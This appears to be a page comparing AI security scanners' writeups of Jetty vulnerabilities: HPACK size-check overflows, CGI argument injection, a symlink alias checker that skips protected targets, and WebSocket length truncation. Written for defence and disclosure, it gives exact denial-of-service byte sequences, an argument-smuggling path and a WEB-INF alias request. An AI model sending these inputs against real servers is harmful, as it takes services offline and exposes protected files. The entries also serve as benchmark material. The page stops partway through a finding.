jetty-core/jetty-http2/jetty-http2-hpack/src/main/java/org/eclipse/jetty/http2/hpack/HpackDecoder.java:206-209```java title="jetty-core/jetty-http2/jetty-http2-hpack/src/main/java/org/eclipse/jetty/http2/hpack/HpackDecoder.java:206-209"
// decode the value
boolean huffmanValue = (buffer.get() & 0x80) == 0x80;
int length = NBitInteger.decode(buffer, 7);
_builder.checkSize(length, huffmanValue);
```
**2. After an earlier field increases
_size, a near-maximum positive length overflows the sum and bypasses the configured header limit** -jetty-core/jetty-http2/jetty-http2-hpack/src/main/java/org/eclipse/jetty/http2/hpack/internal/MetaDataBuilder.java:296-297```java title="jetty-core/jetty-http2/jetty-http2-hpack/src/main/java/org/eclipse/jetty/http2/hpack/internal/MetaDataBuilder.java:296-297"
if ((_size + length) > _maxSize)
throw new HpackException.SessionException("Header too large %d > %d", _size + length, _maxSize);
```
**3. Literal decoding allocates before checking available bytes, enabling heap exhaustion and repeated allocation/GC denial of service** -
jetty-core/jetty-http2/jetty-http2-hpack/src/main/java/org/eclipse/jetty/http2/hpack/HpackDecoder.java:274-277```java title="jetty-core/jetty-http2/jetty-http2-hpack/src/main/java/org/eclipse/jetty/http2/hpack/HpackDecoder.java:274-277"
public static String toASCIIString(ByteBuffer buffer, int length)
{
StringBuilder builder = new StringBuilder(length);
for (int i = 0; i < length; ++i)
```
- Exploit scenario
-
Not specified.
- Recommendation
-
Reject negative or unrepresentable lengths, require each string length to fit the remaining encoded buffer, and compare lengths against the remaining header budget using overflow-safe subtraction or long arithmetic. Apply overflow-safe arithmetic to the Huffman expansion calculation too.
-
Errant command quoting in CGI servlet eclipse-jetty-3 · 2 writeups High
V12
Request paths become subprocess argument syntax
jetty-ee10/jetty-ee10-servlets/src/main/java/org/eclipse/jetty/ee10/servlets/CGI.java:184Predicted severity: Informational- Root cause
-
Executable identity and argument boundaries are serialized into a whitespace-tokenized command string. Quoting a Java string is incorrectly used in place of constructing an explicit subprocess argument vector.
- Impact
-
The request can alter subprocess argument boundaries in full-path mode, potentially enabling unintended options of a deployed CGI executable. Security relevance beyond argument injection remains unresolved: the reviewed CGI sources, servlet adapters, demo configuration, and deployed demo script do not identify an executable with a security-sensitive option or an actual space-containing deployment whose tokenization launches a different program; the only inspected demo script prints fixed HTML.
- Description
-
Both implementations concatenate the request-selected command path into a single string and call
Runtime.exec(String, String[], File)rather than passing an argument array. Their quoting attempt only surrounds paths containing a literal space; it neither handles other whitespace nor changes the string overload's whitespace tokenization into shell-style quoting. WithuseFullPath=true, a decoded path such as/script%09--optioncan therefore launch the existing/scriptwith an additional argument even though the full requested filename does not exist. The normal-mode existence search restricts this particular nonexistent-filename path, but full-path mode omits that restriction. A trusted executable or script path containing spaces can also be split or fail to launch rather than being preserved as one filename.
Devin Security (Deep)
CGI command line is built as one string and split on whitespace
jetty-ee9/jetty-ee9-servlets/src/main/java/org/eclipse/jetty/ee9/servlets/CGI.java:332Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
If an attacker can choose the names of files in the CGI directory, a crafted name can make Jetty run a different program or pass extra arguments. Most sites do not let users name files there, so this is low risk.
##### What's wrong
This is argument injection caused by naive command quoting, the same pattern as CVE-2023-36479.
exec()joins the optionalcommandPrefixand the script path into one string. It adds quotes only when the path contains a space and does not already start with a quote. It does not escape quotes inside the path. The string then goes toRuntime.exec(String, ...), which splits it on whitespace and ignores quotes on Unix. A file name with spaces or quotes turns into several arguments instead of one program path.##### Who can do it
Alice runs Acme's site with the CGI servlet and sets
commandPrefixto a shell or interpreter such assh -corperl. Acme also has a feature that saves user-named files under the CGI directory. Mallory, an anonymous user of that feature, saves a file whose name contains a quote followed by a space and extra words. She then requests that file under/cgi-bin/. The command string Jetty builds splits into tokens she chose. The prefix program receives them as separate arguments or as shell code.Conditions that must hold:
- The CGI servlet is deployed.
- The attacker can create or rename files under the CGI directory with names they choose. The repository does not show any such feature.
- For direct code execution,
commandPrefixis a shell or interpreter that reads its arguments as code.##### What they get
In the worst case, Mallory runs commands of her choice as the Jetty process user. She could then read Acme's application data and credentials on that server. Without control over file names, she gets nothing. In that case the bug only breaks scripts whose paths contain spaces.
##### How it works
1.
exec()takes the script's absolute path as the command (CGI.java:332-333).2. It wraps the path in quotes only if the path has a space and does not start with a quote. It leaves inner quotes unescaped (CGI.java:336-337).
3. It puts
commandPrefixand a space in front of the string (CGI.java:339-340).4.
Runtime.getRuntime().exec(execCmd, ...)splits the string on whitespace and starts the first token with the rest as arguments (CGI.java:345). - Exploit scenario
-
Not specified.
- Recommendation
-
Build the command as an argument array instead of a string. Split the configured
commandPrefixinto its own elements once ininit(), addcommand.getAbsolutePath()as a single final element, and callRuntime.getRuntime().exec(String[] cmdarray, envp, dir)or useProcessBuilder. Remove the manual quoting. Apply the same change to the ee10 copy ofCGI.java. To check the fix, add a test with a script whose name contains a space and a double quote. Confirm that the process receives exactly one argument, the full script path, and that the script runs.
-
Symlink-allowed alias checker ignores protected targets list eclipse-jetty-4 · 3 writeups High
Devin Security (Deep)
Default symlink alias checker approves any path through a symlink without checking protected targets
jetty-core/jetty-server/src/main/java/org/eclipse/jetty/server/SymlinkAllowedResourceAliasChecker.java:65Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Where a protected directory such as WEB-INF is itself a symlink, an anonymous visitor can fetch files under it on any lookup path that relies on the alias checker for protection.
##### What's wrong
This is a broken access check.
SymlinkAllowedResourceAliasCheckeris installed by default on every UnixContextHandler. It walks the request path one segment at a time and buildsrealURI, the real on-disk names of those segments. It is meant to deny the alias whenrealURIis a protected target. That check is commented out and replaced withreturn true. Any request whose path passes through a symlink is now approved, even when the symlink is WEB-INF or META-INF.##### Who can do it
Alice deploys Acme Corp's app on Jetty under Linux and keeps configuration outside the docroot by making
WEB-INFa symlink to/var/lib/acme-meta. She serves it with a coreContextHandlerandResourceHandler, and sets protected targets/WEB-INFand/META-INF. Mallory, an anonymous visitor, requests/WEB-INF/web.xmlor another config file under the linked directory.- A protected directory, or a parent segment on the path to it, is a symlink inside the context base.
- The lookup path does not first run
isProtectedTargeton the request path. CoreContextHandlerandResourceHandlernever do. ee10 checks onlyREQUESTdispatches, soINCLUDEandFORWARDdispatches are not covered.- ee10 and ee9
REQUESTdispatches to/WEB-INF/...are still blocked by name earlier. On a case-sensitive Linux filesystem the request name equals the real name, so those dispatches are not affected.##### What they get
Mallory downloads files that Alice marked protected, such as deployment descriptors, property files with database passwords, or class files. She can do this for any file under the symlinked protected directory, in any context served this way. She cannot reach paths that do not go through such a symlink.
##### How it works
1.
ContextHandler's constructor addsSymlinkAllowedResourceAliasCheckerby default whenFile.separatorChar == '/'at ContextHandler.java:171-172.2.
ResourceServicecallscheckAliasfor aliased resources (symlinks resolve to a different real path) at ResourceService.java:89-90.3.
SymlinkAllowedResourceAliasChecker.checkresolves each segment and buildsrealURIat SymlinkAllowedResourceAliasChecker.java:65-69.4. When a segment is a symlink, it returns
trueat SymlinkAllowedResourceAliasChecker.java:74-75. TheisProtectedTarget(realURI)check is commented out at line 76, and theisAllowedprotected-path walk at line 79 is skipped for that segment and everything after it. - Exploit scenario
-
Not specified.
- Recommendation
-
Restore the check: when
Files.isSymbolicLink(fromBase)is true, return!getContextHandler().isProtectedTarget(realURI.toString()). Also consider callingisAllowed(fromBase)on the symlink itself before approving it. To verify, add a test with a context base whoseWEB-INFis a symlink and protected targets/WEB-INF. Assert thatcheckAlias("/WEB-INF/web.xml", resource)returns false, and that a symlink such as/other -> /var/lib/docrootis still allowed.
Devin Security
Symlink alias checker approves symlinks without checking whether the real name is a protected target
jetty-core/jetty-server/src/main/java/org/eclipse/jetty/server/SymlinkAllowedResourceAliasChecker.java:65Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
On servers that enable the symlink alias checker, an anonymous visitor can read files under WEB-INF or META-INF by requesting them through an alternate name for a symlinked protected directory.
##### What's wrong
This is a missing authorization check in a path alias checker. When
check()meets a path segment that is a symbolic link, it returnstruestraight away. The line that should reject the link when its real name is a protected target (isProtectedTarget(realURI)) is commented out as a TODO. The code buildsrealURIfrom the real on-disk name of each segment for exactly this purpose and then never uses it.##### Who can do it
Alice runs an Acme web app on Jetty on Windows. Her deployment makes
WEB-INFa symlink to a shared config directory, and she enablesSymlinkAllowedResourceAliasCheckerso symlinks work. Mallory, an anonymous internet user, requests/WEB-IN~1/web.xml, which is the Windows 8.3 short name ofWEB-INF. The request path does not match the protected target/WEB-INF, so the context's own check passes. The alias checker sees that the resolved segment is a symlink and approves the alias without checking that its real name isWEB-INF.- The context uses
SymlinkAllowedResourceAliasChecker. It is not the default checker.- A protected directory such as
WEB-INForMETA-INF, or one of its parent directories, is a symlink.- The file system resolves an alternate name to that symlink, for example Windows 8.3 short names or other name normalization, so the request path differs from the protected name.
##### What they get
Mallory can download files in
WEB-INF, such asweb.xml, framework config, and properties files that often hold database passwords or API keys. She can also download class files. She can reach every file under the symlinked protected directory of that context, but nothing outside the resource base that the symlink does not point to.##### How it works
1. Jetty finds that the requested resource is an alias and calls
SymlinkAllowedResourceAliasChecker.check()(SymlinkAllowedResourceAliasChecker.java:47).2. For each segment, the checker resolves the real file name and appends it to
realURI(line 69). ForWEB-IN~1the real name isWEB-INF.3.
Files.isSymbolicLink(fromBase)is true, so the method returnstrueat line 75. The protected-target check on line 76 is commented out.4. Jetty serves the resource, and the alias checker never compares it against the protected targets list or
isAllowed. - Exploit scenario
-
Not specified.
- Recommendation
-
Restore the check:
if (Files.isSymbolicLink(fromBase)) return !getContextHandler().isProtectedTarget(realURI.toString());. To verify the fix, add a test that makes WEB-INF a symlink and requests it through a name whose real name differs. On Linux you can simulate this by calling check() directly with a segment that resolves to a symlink named WEB-INF. Assert that the checker returns false, and that a symlink with an unprotected name such as /other pointing to /WEB-INF is still allowed.
Codex Security (GPT-6 Sol)
A public symlink can expose protected web application files
jetty-core/jetty-server/src/main/java/org/eclipse/jetty/server/SymlinkAllowedResourceAliasChecker.java:65Predicted severity: Medium- Root cause
-
The servlet guard compares the visible request path to protected prefixes.
SymlinkAllowedResourceAliasCheckerreturns true as soon as it meets a symlink, before checking the resolved target or later segments. Resource retrieval then uses that approval. - Impact
-
disclosure of protected web application files; prerequisite: a symlink into a protected directory exists in the deployed web root.
- Description
-
The default Unix symlink alias checker approves the first symlink without checking whether its target is a protected
/WEB-INFor/META-INFresource. - Exploit scenario
-
request path through deployed symlink -> static resource response -> disclosure of protected web application files
- Recommendation
-
Resolve the complete alias target and reject any path whose real target is protected, including after intermediate symlinks.
-
WebSocket frame length represented with 32-bit integer eclipse-jetty-6 · 5 writeups High
V12
Extended lengths create framing differentials
jetty-core/jetty-websocket/jetty-websocket-core-common/src/main/java/org/eclipse/jetty/websocket/core/internal/Parser.java:108Predicted severity: Informational- Root cause
-
Parserrepresents RFC 6455's 63-bit payload length in a 32-bitintand decodes it withintshifts, while retaining no metadata needed to enforce canonical extended-length encodings. - Impact
-
Security relevance is unresolved: a WebSocket-aware intermediary that interprets the full 64-bit length or enforces canonical encoding could disagree with Jetty about where subsequent frames begin, potentially creating a cross-parser policy bypass. The exact missing fact is whether an in-scope deployment places such an intermediary or frame-level security control before Jetty; the reviewed receive-flow source and its tests contain no upstream framing consumer to establish or refute that condition.
- Description
-
The 8-byte extended-length decoder stores the result in a 32-bit
int, and Java masks each shift distance modulo 32, so the high and low 32-bit halves are ORed together rather than forming a 64-bit value. For example, the wire length0x0000000100000005is decoded as 5, after which the parser consumes five payload bytes and treats following bytes as a new frame. The parser also does not preserve the original 7-bit length discriminator to reject non-minimal encodings such as marker 126 followed by a value below 126. Values whose folded result is negative fail later through incidental buffer or allocation exceptions rather than an explicit extended-length validity check. These behaviors create framing interpretations that differ from RFC-compliant peers or intermediaries.
Devin Security (Deep)
WebSocket 64-bit frame length is folded into a signed int, so a negative length rewinds the parser into an endless loop
jetty-core/jetty-websocket/jetty-websocket-core-common/src/main/java/org/eclipse/jetty/websocket/core/internal/Parser.java:57Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone who can open a WebSocket connection can send one 15-byte frame that pins a server thread at full CPU forever, and a handful of such connections can take the whole Jetty server offline, but no data is exposed.
##### What's wrong
This is an integer overflow in the frame length parser. RFC 6455 allows an 8-byte (64-bit) payload length. The parser stores it in a 32-bit
intand builds it with(b & 0xFF) << (8 * cursor). Java masks int shift counts to 5 bits, so the high four bytes are OR-ed onto the low four, and any length with bit 31 set becomes a negativeint. No code rejects a negative or oversized length. The negative value passescheckFrameSizeand the max-frame-size test inparsePayload, and thenbuffer.position() + payloadLengthmoves the read position backwards in the network buffer.##### Who can do it
Alice runs a chat service on Jetty with a public WebSocket endpoint. Mallory, an anonymous internet user, completes the normal WebSocket handshake and sends one masked TEXT frame whose 64-bit length field is
0x00000000FFFFFFF2(a valid RFC length of about 4 GB), followed by one extra byte.- The attacker can complete a WebSocket upgrade on any endpoint (most endpoints need no login).
- The 14-byte frame header and at least one more byte arrive in the same read.
- The endpoint keeps demanding frames, which is the default auto-demand behavior for normal message handlers.
##### What they get
Jetty reads the length as -14, rewinds exactly to the start of the same frame header, emits an empty text message, and parses the same header again without end. The thread never leaves this loop, and Alice's application receives an endless stream of empty messages. Each extra connection Mallory opens pins another thread. A few hundred connections exhaust Jetty's default thread pool, and every user of Alice's service loses access. The same bug in the client parser lets a malicious server hang a Jetty WebSocket client. Mallory gains no data or code execution.
##### How it works
1.
Parser.parsesees length code 127 and entersPAYLOAD_LEN_BYTESwith anint payloadLength(Parser.java:57, 117-122).2. Each length byte is OR-ed in with an int shift of up to 56 bits, which Java wraps modulo 32, so
00 00 00 00 FF FF FF F2becomes -14 (Parser.java:151).3.
checkFrameSizeonly testspayloadLength > max, so the negative value passes for both data and control frames (Parser.java:212, 251-262).4. In
parsePayload, thepayloadLength > maxFrameSizeandavailable < payloadLengthtests are both false, so control reaches the split path (Parser.java:320, 325).5.
end = buffer.position() + payloadLengthlands 14 bytes back at the frame start, andbuffer.limit(end)thenbuffer.position(end)rewinds the buffer (Parser.java:349-355).6.
WebSocketConnection.fillAndParsesees remaining bytes and callsparseagain on the same header, forever (WebSocketConnection.java:424-437). - Exploit scenario
-
Not specified.
- Recommendation
-
Store the payload length in a
longand build it with(b & 0xFFL) << (8 * cursor). After the last length byte, reject a value with the top bit set (RFC 6455 requires it to be 0) and reject any value aboveInteger.MAX_VALUEwith aMessageTooLargeExceptionorProtocolExceptionbefore any buffer arithmetic. Cast tointonly after that check. Add parser tests that send 64-bit lengths0x00000000FFFFFFF2,0x0000000100000005, and0x8000000000000000and assert that each one throws and that the buffer position never moves backwards.
Devin Security
WebSocket 64-bit frame length is folded into an int, so a crafted negative length rewinds the parser into an endless loop
jetty-core/jetty-websocket/jetty-websocket-core-common/src/main/java/org/eclipse/jetty/websocket/core/internal/Parser.java:56Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone who can open a WebSocket connection can send one 14-byte frame that makes the server re-read the same frame forever, pinning a server thread and flooding the app with frames, but no data is exposed.
##### What's wrong
This is an integer overflow in the frame length decoder. The parser stores the payload length in a 32-bit
int, but it shifts the 8-byte extended length into it with<< (8 * cursor). Java masks int shift distances to 5 bits, so the upper four bytes land on top of the lower four. A valid 64-bit length such as0x00000000FFFFFFF2becomes the int-14. No code rejects a negative length. The size check only testspayloadLength > limit, and the payload code then computesend = position + payloadLength, which moves the buffer position backwards.##### Who can do it
Alice runs a chat service at Acme Corp on Jetty with a public WebSocket endpoint. Mallory, an anonymous internet user, opens a WebSocket connection and sends a masked PING (or empty TEXT) frame with the 127 length marker and the 8-byte length
00 00 00 00 FF FF FF F2.- The server exposes any WebSocket endpoint built on the Jetty core WebSocket stack.
- Mallory completes the normal WebSocket upgrade handshake. Most endpoints do not need a login for this.
- The endpoint keeps demanding frames, which is the default for the standard Jetty and Jakarta WebSocket endpoint APIs.
##### What they get
The parser returns an empty frame and jumps back to the first byte of the same frame. It then parses that frame again, forever. One server thread spins at full CPU. The application receives an endless stream of empty messages or pings, and the server sends a pong for each ping. A few connections can use up Acme's thread pool and make the chat service stop responding for everyone. Mallory cannot read or change any data.
##### How it works
1. In
Parser.parse, thePAYLOAD_LENstate sees the marker 127 and setscursor = 8(Parser.java:116-122).2. The
PAYLOAD_LEN_BYTESstate ORs each byte into the intpayloadLengthwith<< (8 * cursor)(Parser.java:148-151). Shift distances of 32 to 56 wrap to 0 to 24, so the low four bytesFF FF FF F2givepayloadLength = -14.3.
checkFrameSizeonly rejects lengths greater than 125 for control frames or greater than the max frame size for data frames (Parser.java:226-239). A negative value passes both checks.4.
parsePayloadskips theavailable < payloadLengthandavailable == payloadLengthbranches. It then computesend = buffer.position() + payloadLength, which is 14 bytes before the current position (Parser.java:336-342).5.
buffer.limit(end)andbuffer.position(end)move the read position back to the start of the frame. The parser returns an empty frame and resets toSTART(Parser.java:342-346).6.
WebSocketConnection.fillAndParseloops whilenetworkBuffer.hasRemaining(). That stays true forever, so the same 14 bytes are parsed again and again (WebSocketConnection.java:424-436). - Exploit scenario
-
Not specified.
- Recommendation
-
Store the payload length in a
longand shift with(b & 0xFFL) << (8 * cursor). When the length is complete, reject a set most significant bit (RFC 6455 requires it to be 0). Reject any length aboveInteger.MAX_VALUEor above the configured max frame size when auto-fragment cannot apply. Also runcheckFrameSizeas soon as the length is known, before the MASK state. To check the fix, add a Parser unit test that feeds a masked PING with length bytes00 00 00 00 FF FF FF F2and asserts aProtocolExceptionorMessageTooLargeExceptionand no frames returned. Add a second test with a TEXT frame using the same length.
Claude Security (Sonnet 5.5)
WebSocket frame parser accepts negative or int-truncated 64-bit payload length, causing buffer rewind and an endless frame-replay loop (remote DoS)
jetty-core/jetty-websocket/jetty-websocket-core-common/src/main/java/org/eclipse/jetty/websocket/core/internal/Parser.java:151Predicted severity: High- Root cause
-
Vulnerable symbol: Parser.parse (PAYLOAD_LEN_BYTES state) / Parser.parsePayload
Preconditions: The attacker can complete a WebSocket handshake with any endpoint served by this code. No authentication is required unless the application adds it.; The header and at least one trailing byte arrive in the same read buffer, which one TCP segment satisfies.; For the replay loop to run indefinitely, the handler is auto-demanding (the default for MessageHandler and the API layers) or demand has already been cancelled by a close.
Offending code:
payloadLength |= (b & 0xFF) << (8 * cursor);
- Impact
-
A remote, unauthenticated peer can pin a server thread at 100% CPU indefinitely with a roughly 15-byte payload, flood the application with synthetic empty messages (or pongs for PING frames), and exhaust the thread pool. The same bug applies to a client parsing a hostile server's frames. The frame-boundary disagreement can also be used to smuggle frames past an inspecting proxy.
- Description
-
The 8-byte extended payload length from the network is OR-ed into a 32-bit int with the shift count masked mod 32, and neither Parser nor checkFrameSize rejects a negative or wrapped value. A negative payloadLength then reaches
buffer.position(end)in parsePayload and moves the read position backwards, so the same bytes are re-parsed as a new frame forever. - Exploit scenario
-
An unauthenticated client completes the normal WebSocket upgrade, then sends one TCP segment containing a masked frame header with a 64-bit length whose low 32 bits are 0xFFFFFFF2 (-14). The bytes are 0x81 0xFF 00 00 00 00 FF FF FF F2, then 4 mask bytes, then at least 1 extra byte. After the 14-byte header is consumed, the parser computes end = position - 14, which is the start of the header. It emits an empty TEXT frame and rewinds the buffer to the header start. fillAndParse parses the same header again and repeats. With an auto-demanding handler, each iteration delivers another empty message and re-demands. After the session is closed, cancelDemand() sets demand to -1, moreDemand() still returns true, and the loop never reads the endpoint or checks isOpen(), so the thread keeps spinning. Repeating this on several connections exhausts the executor threads. The same defect also lets a frame declaring length 2^32+N be parsed as N bytes, so a frame-aware intermediary and Jetty can disagree on frame boundaries.
- Recommendation
-
Treat the 64-bit length as a long and reject any value that is negative, has the top bit set, or exceeds Integer.MAX_VALUE, as RFC 6455 requires. For example, accumulate into a long in the PAYLOAD_LEN_BYTES state and throw MessageTooLargeException or ProtocolException when cursor reaches 0 if the value is < 0 or > Integer.MAX_VALUE. Also assert payloadLength >= 0 in checkFrameSize and parsePayload. Make fillAndParse stop when the endpoint is closed or the session is no longer input-open.
Claude Security (Opus 5.5)
Peer's 64-bit WebSocket length wraps to a negative int and rewinds the parser into an endless loop
jetty-core/jetty-websocket/jetty-websocket-core-common/src/main/java/org/eclipse/jetty/websocket/core/internal/Parser.java:151Predicted severity: High- Root cause
-
Vulnerable symbol: Parser.parse
Preconditions: Attacker can complete a WebSocket handshake to any endpoint (server side), or controls the server a Jetty WebSocket client connects to; Frame uses the 127 (8-byte) extended length form so that the length wraps into a negative int
Offending code:
payloadLength |= (b & 0xFF) << (8 * cursor);
- Impact
-
A single tiny frame from an unauthenticated remote peer causes a remote denial of service. It pins a worker thread in an endless parse/dispatch loop, floods the application with spurious empty messages, or floods the peer with PONGs, and with a few connections exhausts the server's executor. Lengths that wrap to other negative values make the buffer limit negative and throw, which closes the connection.
- Description
-
The peer controls the 8-byte extended payload length, which is ORed into an
intfield. Java masks shifts of 32 or more, so bytes 7..4 land on top of bytes 3..0 and any value is possible, including negatives. Nothing rejects a negative length. In parsePayload,end = buffer.position() + payloadLengthis then passed to buffer.limit(end) and buffer.position(end) (lines 350-353), which moves the network buffer's read position back to bytes that were already parsed. - Exploit scenario
-
After a normal handshake, an unauthenticated client sends one 15-byte masked frame: 0x81 or 0x89 (FIN|TEXT or FIN|PING), 0xFF (MASK|127), length bytes 00 00 00 00 FF FF FF F2, four mask bytes, and one extra byte. The length folds to 0xFFFFFFF2 (-14). The upper four length bytes are zero, so this is a legal RFC 6455 length (4294967282). The size checks all pass for a negative value. parsePayload computes end = 14 + (-14) = 0, sets the buffer position back to 0, and returns an empty frame with state START. fillAndParse sees networkBuffer.hasRemaining() still true and parses the same 14 bytes again, without end. Each pass sends the application another empty message, or makes the endpoint send a PONG. The connection never reads from the socket again, and one executor thread stays busy indefinitely. A few such connections exhaust the server's thread pool. A malicious server can do the same to a Jetty WebSocket client.
- Recommendation
-
Accumulate the 8-byte length into a
longusing(b & 0xFFL) << (8 * cursor). Reject any length with the high bit set or above Integer.MAX_VALUE, and treat any negative payloadLength as a ProtocolException or MessageTooLargeException before checkFrameSize, bufferPool.acquire or any buffer slicing. Also assertend >= buffer.position()in parsePayload.
- WebSocket parser greedily allocates ByteBuffers for large frames eclipse-jetty-8 Medium
-
MetaDataBuilder.checkSize accepts headers of negative lengths eclipse-jetty-10 · 5 writeups Medium
V12
Tiny literals trigger enormous heap allocations
jetty-core/jetty-http2/jetty-http2-hpack/src/main/java/org/eclipse/jetty/http2/hpack/HpackDecoder.java:71Predicted severity: High- Root cause
-
The literal-length check in
MetaDataBuilder.checkSize()can overflow, andHuffman.decode()trusts that length for eager allocation without first bounding it by the actual input or a safe decoded-size ceiling. - Impact
-
A remote HTTP/2 peer can cause a roughly 1.6-billion-character-capacity allocation attempt with a nine-byte HPACK block, independently of the configured ordinary header limit. This creates a process-wide memory-exhaustion and garbage-collection denial-of-service risk; the caller's throwable handler does not establish an uncaught process crash.
- Description
-
The Huffman literal-size precheck uses signed
intarithmetic for(length * 4) / 3, andHuffman.decode()allocatesUtf8StringBuilder(length * 2)before reading any encoded bytes. A peer can declare a large positive literal length in a tiny header block so that the precheck wraps negative while the allocation capacity remains a very large positive number. For example, source-level evaluation of000178ff81ffffff02gives namexand a Huffman value length of 805306368, making the checked estimate -357913941 and the initial string-builder capacity 1610612736. The encoded block itself passes the normal 8192-byte block ceiling, and there is no comparison between the declared literal length andbuffer.remaining()before allocation. The outer parser catches resulting throwables as connection errors, but that happens after the allocation attempt and does not prevent heap pressure.
Devin Security (Deep)
HPACK header size check overflows, so a ten-byte HTTP/2 header block makes the server allocate up to 2 GB
jetty-core/jetty-http2/jetty-http2-hpack/src/main/java/org/eclipse/jetty/http2/hpack/internal/MetaDataBuilder.java:291Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone who can open an HTTP/2 connection can make the Jetty server allocate 1 to 2 GB of memory with a header block of about ten bytes, and repeating it can stall or crash the whole server for every user, though no data is exposed.
##### What's wrong
This is an integer overflow in a size check.
MetaDataBuilder.checkSizemultiplies the length the peer declares for a Huffman string by 4 in a 32-bit int. A large length wraps to a negative number and passes the header size limit. The decoder then sizes a buffer from the original length, which was never checked.##### Who can do it
Alice runs a public website on Jetty with HTTP/2 enabled. Mallory is an anonymous visitor. She opens an HTTP/2 connection and sends a HEADERS frame with one header whose Huffman-encoded name claims a length of 805,306,368 bytes (0x30000000). The whole header block is the bytes
00 FF 81 FF FF FF 02. She repeats this on many connections at once.- The server has an HTTP/2 connector (h2 or h2c) that the attacker can reach.
- No account or login is needed. HPACK decoding runs before any application code or authentication.
- The Jetty HTTP/2 client uses the same decoder, so a malicious server can do the same thing to a Jetty client.
##### What they get
Each request makes the server allocate a 1.5 GB array before it reads a single header byte. Mallory can send this over many connections to use up the Java heap or force constant full garbage collection. Alice's site then stops answering all of its users, and unrelated threads can fail with out-of-memory errors. Mallory gets no data and no code execution.
##### How it works
1.
HpackDecoder.decodereads the name length withNBitInteger.decodeat HpackDecoder.java:167.NBitInteger.decodeadds continuation bytes with no overflow check (NBitInteger.java:132-143), so the peer can choose any 32-bit value.2.
HpackDecodercalls_builder.checkSize(length, true)at HpackDecoder.java:168.3.
checkSizecomputes(length * 4) / 3at MetaDataBuilder.java:295. For 0x30000000 this wraps to -357,913,941, so the test(_size + length) > _maxSizeat line 296 is false and no error is thrown.4.
checkSizeonly changed its own copy oflength, soHpackDecoderpasses the original 0x30000000 toHuffman.decodeat HpackDecoder.java:170.5.
Huffman.decoderunsnew Utf8StringBuilder(length * 2)at Huffman.java:359. This allocates a 1,610,612,736-byte array.6. The only other guard, at HpackDecoder.java:72, limits the number of bytes in the block, not the declared string length, so it does not stop this. The header value path at HpackDecoder.java:207-211 has the same flaw.
- Exploit scenario
-
Not specified.
- Recommendation
-
In
checkSize, throw aSessionExceptionwhenlength < 0, and compute the Huffman estimate in long (or withMath.multiplyExact) before comparing it with_maxSize. InHpackDecoder, also reject any declared string length larger thanbuffer.remaining()before callingHuffman.decodeortoASCIIString. MakeNBitInteger.decodefail on overflow, for example withMath.addExactandMath.multiplyExactor a cap on continuation bytes. To check the fix, add a unit test that passes the bytes00 FF 81 FF FF FF 02toHpackDecoder.decodeand asserts that it throwsHpackException.SessionException. Run the test with a small heap such as-Xmx64mand confirm that no OutOfMemoryError occurs.
Devin Security
HPACK header size check overflows and lets one small HEADERS frame force a gigabyte-sized allocation
jetty-core/jetty-http2/jetty-http2-hpack/src/main/java/org/eclipse/jetty/http2/hpack/internal/MetaDataBuilder.java:291Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone who can open an HTTP/2 connection can send a few bytes that make the server try to allocate over a gigabyte of memory, which can crash or stall the whole server for every user.
##### What's wrong
This is an integer overflow in a size limit check.
MetaDataBuilder.checkSizemultiplies the attacker-declared string length by 4 with plainintmath for the Huffman "fudge factor". A large length wraps to a negative number, so the check(_size + length) > _maxSizepasses. The non-Huffman branch has the same problem through_size + length. The decoder then sizes a buffer from the original huge length. This matches the known Jetty issue CVE-2023-36478, which upstream fixed withMath.multiplyExactand an overflow-checked integer decoder. The QPACK module in this repo already usesMath.addExact/Math.multiplyExactinNBitIntegerParser, but the HPACK path does not.##### Who can do it
Alice runs Acme Corp's public website on Jetty with HTTP/2 enabled. Mallory, an anonymous internet user, opens an HTTP/2 connection and sends one HEADERS frame of a few dozen bytes. The frame holds a literal header whose Huffman string length is encoded as about 805 million (0x30000000).
- The server has an HTTP/2 connector (h2 or h2c) reachable by the attacker.
- No login or prior state is needed.
- The same decoder runs in the Jetty HTTP/2 client, so a malicious server can do the same to a Jetty client.
##### What they get
Each frame makes the server attempt a 1.6 GB allocation. On a large heap the allocation succeeds and holds memory until the parse fails. On a smaller heap it raises OutOfMemoryError. A few parallel connections exhaust the heap, so other requests for every Acme user fail or the JVM stops responding. Mallory gets no data. The harm is loss of availability for the whole server.
##### How it works
1.
HpackDecoder.decodeonly rejects blocks whose byte count exceeds the max header size, so a tiny block passes (HpackDecoder.java:71).2.
NBitInteger.decodereads the string length as a variable-length integer with no overflow or range check (NBitInteger.java:105-143).3.
MetaDataBuilder.checkSizecomputes(length * 4) / 3, which wraps negative for lengths above about 536 million, so the limit check passes (MetaDataBuilder.java:291-297).4.
Huffman.decodethen createsnew Utf8StringBuilder(length * 2), a roughly 1.6 GB buffer, before reading any bytes (HpackDecoder.java:170, 211; Huffman.java:359).5. For non-Huffman strings,
_size + lengthcan also wrap whenlengthis close toInteger.MAX_VALUE, andtoASCIIStringallocatesnew StringBuilder(length)(HpackDecoder.java:172, 213, 304). - Exploit scenario
-
Not specified.
- Recommendation
-
In checkSize, reject negative lengths and compute with overflow-safe math, for example
if (length < 0) throw ...; long l = huffman ? (long)length * 4 / 3 : length; if (_size + l > _maxSize) throw .... Make NBitInteger.decode detect overflow with Math.addExact/Math.multiplyExact, or port the upstream NBitIntegerDecoder. As defense in depth, also reject a string length larger than buffer.remaining() before allocating. To verify the fix, add a unit test that feeds HpackDecoder a literal header with Huffman length 0x30000000 and with raw length 0x7FFFFFF0 after one prior field. Assert that each case throws HpackException.SessionException and allocates nothing large.
Claude Security (Sonnet 5.5)
HPACK string-length integer overflow in checkSize bypasses header size limit and triggers 1-2 GiB allocation
jetty-core/jetty-http2/jetty-http2-hpack/src/main/java/org/eclipse/jetty/http2/hpack/internal/MetaDataBuilder.java:295Predicted severity: High- Root cause
-
Vulnerable symbol: MetaDataBuilder.checkSize
Preconditions: HTTP/2 (h2 or h2c) is enabled on the connector or client; Attacker can complete the HTTP/2 preface
